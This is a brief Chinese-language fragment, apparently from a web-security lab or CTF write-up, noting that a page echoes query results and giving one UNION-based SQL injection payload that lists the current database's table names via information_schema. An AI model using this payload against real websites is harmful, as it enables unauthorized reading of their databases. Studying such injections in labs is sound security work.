测试发现页面回显
注入语句
hackerzcj' union select group_concat(table_name),1 from information_schema.tables where table_schema=database() #
